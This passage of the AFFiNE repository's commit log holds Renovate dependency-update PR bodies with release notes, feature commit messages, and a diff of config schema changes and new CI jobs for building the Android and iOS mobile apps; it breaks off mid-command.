[#&#8203;946](https://redirect.github.com/oxc-project/tsgolint/pull/946)
- chore(deps): update crate-ci/typos action to v1.46.1 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;948](https://redirect.github.com/oxc-project/tsgolint/pull/948)
- fix(prefer-nullish-coalescing): emit suggestion over fix by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;951](https://redirect.github.com/oxc-project/tsgolint/pull/951)
- chore: update packageManager to pnpm 11.0.4 by
[@&#8203;Boshen](https://redirect.github.com/Boshen) in
[#&#8203;953](https://redirect.github.com/oxc-project/tsgolint/pull/953)
- chore: update typescript-go submodule by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;955](https://redirect.github.com/oxc-project/tsgolint/pull/955)
- fix(no-nullable-type-assertion-style): use suggestion instead of fix
by [@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;956](https://redirect.github.com/oxc-project/tsgolint/pull/956)
- docs: Update Go version requirement to 1.26 in CONTRIBUTING.md. by
[@&#8203;connorshea](https://redirect.github.com/connorshea) in
[#&#8203;957](https://redirect.github.com/oxc-project/tsgolint/pull/957)
- fix: allow safe promise intersection members by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;959](https://redirect.github.com/oxc-project/tsgolint/pull/959)
- ci: switch security workflow to ubuntu-latest by
[@&#8203;Boshen](https://redirect.github.com/Boshen) in
[#&#8203;962](https://redirect.github.com/oxc-project/tsgolint/pull/962)
- chore(deps): update dependency vitest to v4.1.6 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;963](https://redirect.github.com/oxc-project/tsgolint/pull/963)
- chore(deps): update module github.com/dlclark/regexp2/v2 to v2.0.3 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;964](https://redirect.github.com/oxc-project/tsgolint/pull/964)
- chore(deps): update dependency dprint-markdown to v0.22.0 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;965](https://redirect.github.com/oxc-project/tsgolint/pull/965)
- chore(deps): update github actions by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;966](https://redirect.github.com/oxc-project/tsgolint/pull/966)
- perf(no-unnecessary-type-parameters): stop counting settled candidates
by [@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;967](https://redirect.github.com/oxc-project/tsgolint/pull/967)
- chore: add `dprint` to pnpm `allowBuilds` by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;968](https://redirect.github.com/oxc-project/tsgolint/pull/968)

**Full Changelog**:
<https://github.com/oxc-project/tsgolint/compare/v0.22.1...v0.23.0>

###
[`v0.22.1`](https://redirect.github.com/oxc-project/tsgolint/releases/tag/v0.22.1)

[Compare
Source](https://redirect.github.com/oxc-project/tsgolint/compare/v0.22.0...v0.22.1)

#### What's Changed

- fix: clarify `AGENTS.md` submodule guidance by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;909](https://redirect.github.com/oxc-project/tsgolint/pull/909)
- feat(no-unsafe-enum-comparison): implement suggestion by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;910](https://redirect.github.com/oxc-project/tsgolint/pull/910)
- feat(no-unnecessary-template-expression): implement fix by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;911](https://redirect.github.com/oxc-project/tsgolint/pull/911)
- chore(deps): update dependency vitest to v4.1.5 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;912](https://redirect.github.com/oxc-project/tsgolint/pull/912)
- chore(deps): update github-actions by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;913](https://redirect.github.com/oxc-project/tsgolint/pull/913)
- fix(prefer-optional-chain): avoid access comparison false positive by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;914](https://redirect.github.com/oxc-project/tsgolint/pull/914)

**Full Changelog**:
<https://github.com/oxc-project/tsgolint/compare/v0.22.0...v0.22.1>

###
[`v0.22.0`](https://redirect.github.com/oxc-project/tsgolint/releases/tag/v0.22.0)

[Compare
Source](https://redirect.github.com/oxc-project/tsgolint/compare/v0.21.1...v0.22.0)

#### What's Changed

- chore: convert renovate config to json by
[@&#8203;Boshen](https://redirect.github.com/Boshen) in
[#&#8203;893](https://redirect.github.com/oxc-project/tsgolint/pull/893)
- chore: update typescript-go submodule by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;895](https://redirect.github.com/oxc-project/tsgolint/pull/895)
- ci: replace OXC\_BOT\_PAT with GitHub App tokens by
[@&#8203;Boshen](https://redirect.github.com/Boshen) in
[#&#8203;894](https://redirect.github.com/oxc-project/tsgolint/pull/894)
- ci: add security analysis workflow by
[@&#8203;Boshen](https://redirect.github.com/Boshen) in
[#&#8203;898](https://redirect.github.com/oxc-project/tsgolint/pull/898)
- chore(deps): update github-actions by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;899](https://redirect.github.com/oxc-project/tsgolint/pull/899)
- chore(deps): update module github.com/dlclark/regexp2 to v1.12.0 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;900](https://redirect.github.com/oxc-project/tsgolint/pull/900)
- chore(deps): update dependency typescript to v6.0.3 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;901](https://redirect.github.com/oxc-project/tsgolint/pull/901)
- ci: make security analysis required-check friendly by
[@&#8203;Boshen](https://redirect.github.com/Boshen) in
[#&#8203;902](https://redirect.github.com/oxc-project/tsgolint/pull/902)
- feat(require-await): implement suggestions by
[@&#8203;younggglcy](https://redirect.github.com/younggglcy) in
[#&#8203;896](https://redirect.github.com/oxc-project/tsgolint/pull/896)
- fix: add warning for unsupported tsgolint CLI entrypoint by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;903](https://redirect.github.com/oxc-project/tsgolint/pull/903)
- fix: resolve ancestor tsconfig for excluded nearest config by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;904](https://redirect.github.com/oxc-project/tsgolint/pull/904)
- chore: update typescript-go submodule by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;905](https://redirect.github.com/oxc-project/tsgolint/pull/905)
- fix: handle UTF-16 diagnostics by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;906](https://redirect.github.com/oxc-project/tsgolint/pull/906)
- fix(no-useless-default-assignment): make default assignment removal a
suggestion by [@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;907](https://redirect.github.com/oxc-project/tsgolint/pull/907)
- fix(no-unnecessary-type-arguments): preserve shadowed type arguments
by [@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;908](https://redirect.github.com/oxc-project/tsgolint/pull/908)

**Full Changelog**:
<https://github.com/oxc-project/tsgolint/compare/v0.21.1...v0.22.0>

###
[`v0.21.1`](https://redirect.github.com/oxc-project/tsgolint/releases/tag/v0.21.1)

[Compare
Source](https://redirect.github.com/oxc-project/tsgolint/compare/v0.21.0...v0.21.1)

##### What's Changed

- fix(no-unnecessary-condition): handle null overlap in narrowed generic
intersections by [@&#8203;camc314](https://redirect.github.com/camc314)
in
[#&#8203;891](https://redirect.github.com/oxc-project/tsgolint/pull/891)
- revert(no-unnecessary-type-arguments): drop inference reporting by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;892](https://redirect.github.com/oxc-project/tsgolint/pull/892)

**Full Changelog**:
<https://github.com/oxc-project/tsgolint/compare/v0.21.0...v0.21.1>

###
[`v0.21.0`](https://redirect.github.com/oxc-project/tsgolint/releases/tag/v0.21.0)

[Compare
Source](https://redirect.github.com/oxc-project/tsgolint/compare/v0.20.0...v0.21.0)

##### What's Changed

- chore: migrate gen-json-schemas to TS by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;874](https://redirect.github.com/oxc-project/tsgolint/pull/874)
- chore: update typescript-go submodule by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;879](https://redirect.github.com/oxc-project/tsgolint/pull/879)
- chore(deps): update github-actions by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;883](https://redirect.github.com/oxc-project/tsgolint/pull/883)
- chore(deps): update gomod by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;884](https://redirect.github.com/oxc-project/tsgolint/pull/884)
- chore(deps): update npm packages by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;885](https://redirect.github.com/oxc-project/tsgolint/pull/885)
- feat: improve `consistent-type-exports` diagnostics quality by
[@&#8203;camchenry](https://redirect.github.com/camchenry) in
[#&#8203;880](https://redirect.github.com/oxc-project/tsgolint/pull/880)
- chore(deps): update softprops/action-gh-release action to v3 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;886](https://redirect.github.com/oxc-project/tsgolint/pull/886)
- feat: enrich the `no-array-delete` diagnostic by
[@&#8203;camchenry](https://redirect.github.com/camchenry) in
[#&#8203;881](https://redirect.github.com/oxc-project/tsgolint/pull/881)
- feat: enrich `no-duplicate-type-constituents` diagnostic by
[@&#8203;camchenry](https://redirect.github.com/camchenry) in
[#&#8203;882](https://redirect.github.com/oxc-project/tsgolint/pull/882)
- fix(no-meaningless-void-operator): align with typescript-eslint union
handling by [@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;887](https://redirect.github.com/oxc-project/tsgolint/pull/887)
- chore(deps): update crate-ci/typos action to v1.45.1 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;888](https://redirect.github.com/oxc-project/tsgolint/pull/888)
- fix(no-deprecated): avoid false positive on array destructuring
bindings by [@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;890](https://redirect.github.com/oxc-project/tsgolint/pull/890)

**Full Changelog**:
<https://github.com/oxc-project/tsgolint/compare/v0.20.0...v0.21.0>

### [`v0.20.0`]()

[Compare
Source](https://redirect.github.com/oxc-project/tsgolint/compare/v0.19.0...v0.20.0)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xODUuMSIsInVwZGF0ZWRJblZlciI6IjQzLjE4NS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-05-20 13:17:46 +08:00
renovate[bot] 276b0db625 chore: bump up eslint-plugin-oxlint version to v1.66.0 (#15006)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[eslint-plugin-oxlint](https://redirect.github.com/oxc-project/eslint-plugin-oxlint)
| [`1.64.0` →
`1.66.0`](https://renovatebot.com/diffs/npm/eslint-plugin-oxlint/1.64.0/1.66.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-oxlint/1.66.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-oxlint/1.64.0/1.66.0?slim=true)
|

---

### Release Notes

<details>
<summary>oxc-project/eslint-plugin-oxlint
(eslint-plugin-oxlint)</summary>

###
[`v1.66.0`](https://redirect.github.com/oxc-project/eslint-plugin-oxlint/releases/tag/v1.66.0)

[Compare
Source](https://redirect.github.com/oxc-project/eslint-plugin-oxlint/compare/v1.65.0...v1.66.0)

*No significant changes*

#####     [View changes on
GitHub](https://redirect.github.com/oxc-project/eslint-plugin-oxlint/compare/v1.65.0...v1.66.0)

###
[`v1.65.0`](https://redirect.github.com/oxc-project/eslint-plugin-oxlint/releases/tag/v1.65.0)

[Compare
Source](https://redirect.github.com/oxc-project/eslint-plugin-oxlint/compare/v1.64.0...v1.65.0)

*No significant changes*

#####     [View changes on
GitHub](https://redirect.github.com/oxc-project/eslint-plugin-oxlint/compare/v1.64.0...v1.65.0)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xODUuMSIsInVwZGF0ZWRJblZlciI6IjQzLjE4NS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-05-20 10:26:38 +08:00
renovate[bot] bac346f304 chore: bump up nestjs to v13.4.1 (#15002) 2026-05-20 05:51:24 +08:00
DarkSky 9f33d37add feat(core): integrate realtime features (#15003) 2026-05-20 05:48:03 +08:00
renovate[bot] 3e42bbf4fa chore: bump up apple/swift-collections version to from: "1.5.1" (#15001)
This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
|
[apple/swift-collections](https://redirect.github.com/apple/swift-collections)
| patch | `from: "1.5.0"` → `from: "1.5.1"` |

---

### Release Notes

<details>
<summary>apple/swift-collections (apple/swift-collections)</summary>

###
[`v1.5.1`](https://redirect.github.com/apple/swift-collections/releases/tag/1.5.1):
Swift Collections 1.5.1

[Compare
Source](https://redirect.github.com/apple/swift-collections/compare/1.5.0...1.5.1)

This is a patch release resolving three issues uncovered since 1.5.0 was
tagged, including a source breaking regression introduced in 1.4.0,
affecting clients importing the `Collections` module.

#### What's Changed

- Import error from `HashTreeCollections`, reported by
[@&#8203;vanvoorden](https://redirect.github.com/vanvoorden) in
[#&#8203;653](https://redirect.github.com/apple/swift-collections/issues/653)
- Resolve source break in the Collections module by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;654](https://redirect.github.com/apple/swift-collections/pull/654)
- Linker error around RigidArray when using in Embedded Swift for
WebAssembly, reported by
[@&#8203;sliemeobn](https://redirect.github.com/sliemeobn) in
[#&#8203;648](https://redirect.github.com/apple/swift-collections/issues/648)
- \[BasicContainers] Don’t define LLDB formatter symbol on Wasm by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;650](https://redirect.github.com/apple/swift-collections/pull/650)
- Guard `UniqueBox.borrow` correctly by
[@&#8203;FranzBusch](https://redirect.github.com/FranzBusch) in
[#&#8203;649](https://redirect.github.com/apple/swift-collections/pull/649)

**Full Changelog**:
<https://github.com/apple/swift-collections/compare/1.5.0...1.5.1>

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xODUuMSIsInVwZGF0ZWRJblZlciI6IjQzLjE4NS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-05-19 23:58:03 +08:00
renovate[bot] b5e5f0708a chore: bump up Lakr233/MarkdownView version to from: "3.9.1" (#14861)
This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
|
[Lakr233/MarkdownView](https://redirect.github.com/Lakr233/MarkdownView)
| minor | `from: "3.8.2"` → `from: "3.9.1"` |

---

### Release Notes

<details>
<summary>Lakr233/MarkdownView (Lakr233/MarkdownView)</summary>

###
[`v3.9.1`](https://redirect.github.com/Lakr233/MarkdownView/compare/3.9.0...3.9.1)

[Compare
Source](https://redirect.github.com/Lakr233/MarkdownView/compare/3.9.0...3.9.1)

###
[`v3.9.0`](https://redirect.github.com/Lakr233/MarkdownView/compare/3.8.2...3.9.0)

[Compare
Source](https://redirect.github.com/Lakr233/MarkdownView/compare/3.8.2...3.9.0)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xMjMuOCIsInVwZGF0ZWRJblZlciI6IjQzLjE1OS4yIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-05-19 22:52:20 +08:00
Abdul Rehman f96bf3dd24 feat(i18n): expand Urdu translation (#14995)
Closes #14994
🇵🇰 Urdu Translation for Pakistani Users
## Summary

`ur.json` previously had only 31 of 2404 keys translated (~1%), leaving
most of the AFFiNE UI in English for Urdu-speaking users. This PR fills
in the remaining ~2400 keys so Pakistani / Urdu users get a fully
localized experience.

- `packages/frontend/i18n/src/resources/ur.json` — expanded from 31 →
2404 keys
- `packages/frontend/i18n/src/i18n-completenesses.json` — `ur: 2` → `ur:
100`

Existing hand-translated keys were preserved.

## Screenshots

<img width="1600" height="716" alt="image"
src="https://github.com/user-attachments/assets/1e3395b9-7cb0-44ba-a29f-a484419eb9fd"
/>
--------

<img width="1600" height="716" alt="image"
src="https://github.com/user-attachments/assets/f03cb1ac-dde8-4425-a898-c56acebe45b6"
/>



## Test plan

- [x] Switch app language to Urdu (اردو) in Settings → Appearance →
Language
- [x] Sidebar, top bar, calendar, doc list, settings panels all render
in Urdu
- [x] RTL layout flows correctly
- [x] Prettier + lint clean

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Localization**
* Urdu language support is now fully available across the application,
including translated UI text and locale-specific content.
* Users can select Urdu as their preferred language and experience
consistent translations and messaging throughout the product.

<!-- review_stack_entry_start -->

[![Review Change
Stack](https://storage.googleapis.com/coderabbit_public_assets/review-stack-in-coderabbit-ui.svg)](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/14995?utm_source=github_walkthrough&utm_medium=github&utm_campaign=change_stack)

<!-- review_stack_entry_end -->
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-19 22:49:22 +08:00
DarkSky c53457691d feat(server): entitlement based model (#14996)
#### PR Dependency Tree


* **PR #14996** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
  * Admin mutations to grant/revoke commercial entitlements.
  * New Doc comment-update permission.
  * Realtime user/workspace quota-state endpoints and live-update rooms.

* **Bug Fixes**
  * More accurate readable-doc filtering and permission evaluation.

* **Refactor**
* Workspace feature management moved to entitlement-based model;
permission and quota pipelines redesigned.
  * Admin workspace UI now edits flags only (feature toggles removed).

* **Tests**
* Extensive new and updated tests for permissions, entitlements, quota,
projection, and backfills.

<!-- review_stack_entry_start -->

[![Review Change
Stack](https://storage.googleapis.com/coderabbit_public_assets/review-stack-in-coderabbit-ui.svg)](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/14996?utm_source=github_walkthrough&utm_medium=github&utm_campaign=change_stack)

<!-- review_stack_entry_end -->
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-19 22:48:05 +08:00
Azamat Jauysh 103ad2a810 feat(i18n): add Kazakh translation (#14981)
Closes #14975

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Kazakh (kk) language has been added — users can now choose Kazakh for
the interface, with complete localization coverage and language metadata
(name and flag) included.

<!-- review_stack_entry_start -->

[![Review Change
Stack](https://storage.googleapis.com/coderabbit_public_assets/review-stack-in-coderabbit-ui.svg)](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/14981?utm_source=github_walkthrough&utm_medium=github&utm_campaign=change_stack)

<!-- review_stack_entry_end -->
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-18 16:45:36 +08:00
DarkSky ef4939009f feat(editor): handle calendar view overflow in edgeless mode (#14992)
#### PR Dependency Tree


* **PR #14992** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Calendar view now supports horizontal scrolling for better navigation.

* **Bug Fixes**
* Improved mouse wheel interaction handling to prevent unintended
scrolling.

* **Style**
* Calendar layout is now more responsive and adapts better to different
screen sizes.

<!-- review_stack_entry_start -->

[![Review Change
Stack](https://storage.googleapis.com/coderabbit_public_assets/review-stack-in-coderabbit-ui.svg)](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/14992?utm_source=github_walkthrough&utm_medium=github&utm_campaign=change_stack)

<!-- review_stack_entry_end -->

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-18 09:32:02 +08:00
DarkSky 0f5778ac89 feat(editor): calendar view for database block (#14984)
fix #13663


#### PR Dependency Tree


* **PR #14984** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Calendar view for database blocks (month layout, entry cards,
external-source support)
  * Workspace calendar integration and new slash-menu "Calendar View"

* **Improvements**
* Create/manage database rows from calendar UI; preserve durations when
moving/resizing ranges
* Drag-and-drop, drop-preview, and hit-testing support for calendar and
docs
  * Redesigned in-menu View settings with multi-page navigation
  * Context-menu input autofocus toggle and conditional back-navigation

* **Tests**
* New unit and E2E suites covering calendar layout, interactions,
sources, and slash-menu integration
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-17 20:40:36 +08:00
814 changed files with 51511 additions and 29254 deletions
+21 -26
View File
@@ -175,6 +175,11 @@
"description": "Whether require email verification before accessing restricted resources(not implemented).\n@default true",
"default": true
},
"newAccountShareActionDelay": {
"type": "number",
"description": "Minimum account age in seconds before new accounts can invite members or create share links.\n@default 86400",
"default": 86400
},
"passwordRequirements": {
"type": "object",
"description": "The password strength requirements when set new password.\n@default {\"min\":8,\"max\":32}",
@@ -300,6 +305,22 @@
}
}
},
"permission": {
"type": "object",
"description": "Configuration for permission module",
"properties": {
"readModel": {
"type": "string",
"description": "Permission data source for Rust evaluation\n@default \"projection\"\n@environment `AFFINE_PERMISSION_READ_MODEL`",
"default": "projection"
},
"fallbackLegacyLoader": {
"type": "boolean",
"description": "Fallback from projection loader to legacy loader when projection input loading fails\n@default false\n@environment `AFFINE_PERMISSION_FALLBACK_LEGACY_LOADER`",
"default": false
}
}
},
"storages": {
"type": "object",
"description": "Configuration for storages module",
@@ -1389,22 +1410,6 @@
}
}
},
"customerIo": {
"type": "object",
"description": "Configuration for customerIo module",
"properties": {
"enabled": {
"type": "boolean",
"description": "Enable customer.io integration\n@default false",
"default": false
},
"token": {
"type": "string",
"description": "Customer.io token\n@default \"\"",
"default": ""
}
}
},
"oauth": {
"type": "object",
"description": "Configuration for oauth module",
@@ -1503,16 +1508,6 @@
"description": "Whether enable lifetime price and allow user to pay for it.\n@default true",
"default": true
},
"apiKey": {
"type": "string",
"description": "[Deprecated] Stripe API key. Use payment.stripe.apiKey instead.\n@default \"\"\n@environment `STRIPE_API_KEY`",
"default": ""
},
"webhookKey": {
"type": "string",
"description": "[Deprecated] Stripe webhook key. Use payment.stripe.webhookKey instead.\n@default \"\"\n@environment `STRIPE_WEBHOOK_KEY`",
"default": ""
},
"stripe": {
"type": "object",
"description": "Stripe sdk options and credentials\n@default {\"apiKey\":\"\",\"webhookKey\":\"\"}\n@link https://docs.stripe.com/api",
+9 -2
View File
@@ -59,13 +59,20 @@ runs:
echo "TARGET_CC=clang -D_BSD_SOURCE" >> "$GITHUB_ENV"
fi
- name: Prepare cache key
id: cache-key
shell: bash
run: |
shared_key="$(printf '%s' "${{ inputs.target }}-${{ inputs.package }}" | tr -c 'A-Za-z0-9_.-' '-')"
echo "shared-key=$shared_key" >> "$GITHUB_OUTPUT"
- name: Cache cargo
uses: Swatinem/rust-cache@v2
if: ${{ runner.os == 'Windows' }}
with:
workspaces: ${{ env.DEV_DRIVE_WORKSPACE }}
save-if: ${{ github.ref_name == 'canary' }}
shared-key: ${{ inputs.target }}-${{ inputs.package }}
shared-key: ${{ steps.cache-key.outputs.shared-key }}
env:
CARGO_HOME: ${{ env.DEV_DRIVE }}/.cargo
RUSTUP_HOME: ${{ env.DEV_DRIVE }}/.rustup
@@ -75,7 +82,7 @@ runs:
if: ${{ runner.os != 'Windows' }}
with:
save-if: ${{ github.ref_name == 'canary' }}
shared-key: ${{ inputs.target }}-${{ inputs.package }}
shared-key: ${{ steps.cache-key.outputs.shared-key }}
- name: Build
shell: bash
+1 -1
View File
@@ -31,7 +31,7 @@
"groupSlug": "all-minor-patch",
"matchUpdateTypes": ["minor", "patch"],
"matchManagers": ["npm"],
"matchPackageNames": ["*", "!/^@blocksuite//", "!/oxlint/"]
"excludePackagePatterns": ["^@blocksuite/", "^oxlint$"]
},
{
"groupName": "all non-major dependencies",
+156 -96
View File
@@ -135,6 +135,159 @@ jobs:
echo "All changes are submitted"
fi
mobile-native-build-filter:
name: Mobile native build filter
runs-on: ubuntu-latest
outputs:
run-android: ${{ steps.mobile-native-filter.outputs.android }}
run-ios: ${{ steps.mobile-native-filter.outputs.ios }}
steps:
- uses: actions/checkout@v6
- uses: dorny/paths-filter@v3
id: mobile-native-filter
with:
filters: |
android:
- '.github/workflows/build-test.yml'
- 'packages/frontend/apps/android/**'
- 'packages/frontend/mobile-native/**'
- '.cargo/**'
- 'Cargo.lock'
- 'Cargo.toml'
- 'rust-toolchain*'
ios:
- '.github/workflows/build-test.yml'
- 'packages/frontend/apps/ios/**'
- 'packages/frontend/mobile-native/**'
- '.cargo/**'
- 'Cargo.lock'
- 'Cargo.toml'
- 'rust-toolchain*'
build-android-app:
name: Build Android app
if: ${{ needs.mobile-native-build-filter.outputs.run-android == 'true' }}
runs-on: ubuntu-latest
needs:
- mobile-native-build-filter
steps:
- uses: actions/checkout@v6
- name: Setup Node.js
uses: ./.github/actions/setup-node
with:
extra-flags: workspaces focus @affine/monorepo @affine-tools/cli @affine/android
electron-install: false
- uses: actions/setup-java@v5
with:
distribution: 'temurin'
java-version: '21'
cache: 'gradle'
- name: Setup Rust
uses: ./.github/actions/build-rust
with:
target: 'aarch64-linux-android'
package: 'affine_mobile_native'
no-build: 'true'
- name: Build Android web assets
run: yarn affine @affine/android build
env:
PUBLIC_PATH: '/'
- name: Write CI Firebase config
run: |
cat > packages/frontend/apps/android/App/app/google-services.json <<'JSON'
{
"project_info": {
"project_number": "1",
"project_id": "affine-ci",
"storage_bucket": "affine-ci.appspot.com"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:1:android:0000000000000000",
"android_client_info": {
"package_name": "app.affine.pro"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "ci-placeholder"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}
JSON
- name: Cap sync
run: yarn workspace @affine/android cap sync
- name: Build Android debug app
working-directory: packages/frontend/apps/android/App
run: ./gradlew :app:assembleCanaryDebug --no-daemon --stacktrace
build-ios-app:
name: Build iOS app
if: ${{ needs.mobile-native-build-filter.outputs.run-ios == 'true' }}
runs-on: macos-15
needs:
- mobile-native-build-filter
steps:
- uses: actions/checkout@v6
- name: Setup Node.js
uses: ./.github/actions/setup-node
with:
extra-flags: workspaces focus @affine/monorepo @affine-tools/cli @affine/ios
electron-install: false
hard-link-nm: false
- uses: maxim-lobanov/setup-xcode@v1
with:
xcode-version: 26.2
- name: Setup Rust
uses: ./.github/actions/build-rust
with:
target: 'aarch64-apple-ios-sim'
package: 'affine_mobile_native'
no-build: 'true'
- name: Build iOS web assets
run: yarn affine @affine/ios build
env:
PUBLIC_PATH: '/'
- name: Cap sync
run: yarn workspace @affine/ios sync
- name: Build iOS simulator app
run: |
xcodebuild \
-workspace packages/frontend/apps/ios/App/App.xcworkspace \
-scheme App \
-configuration Debug \
-sdk iphonesimulator \
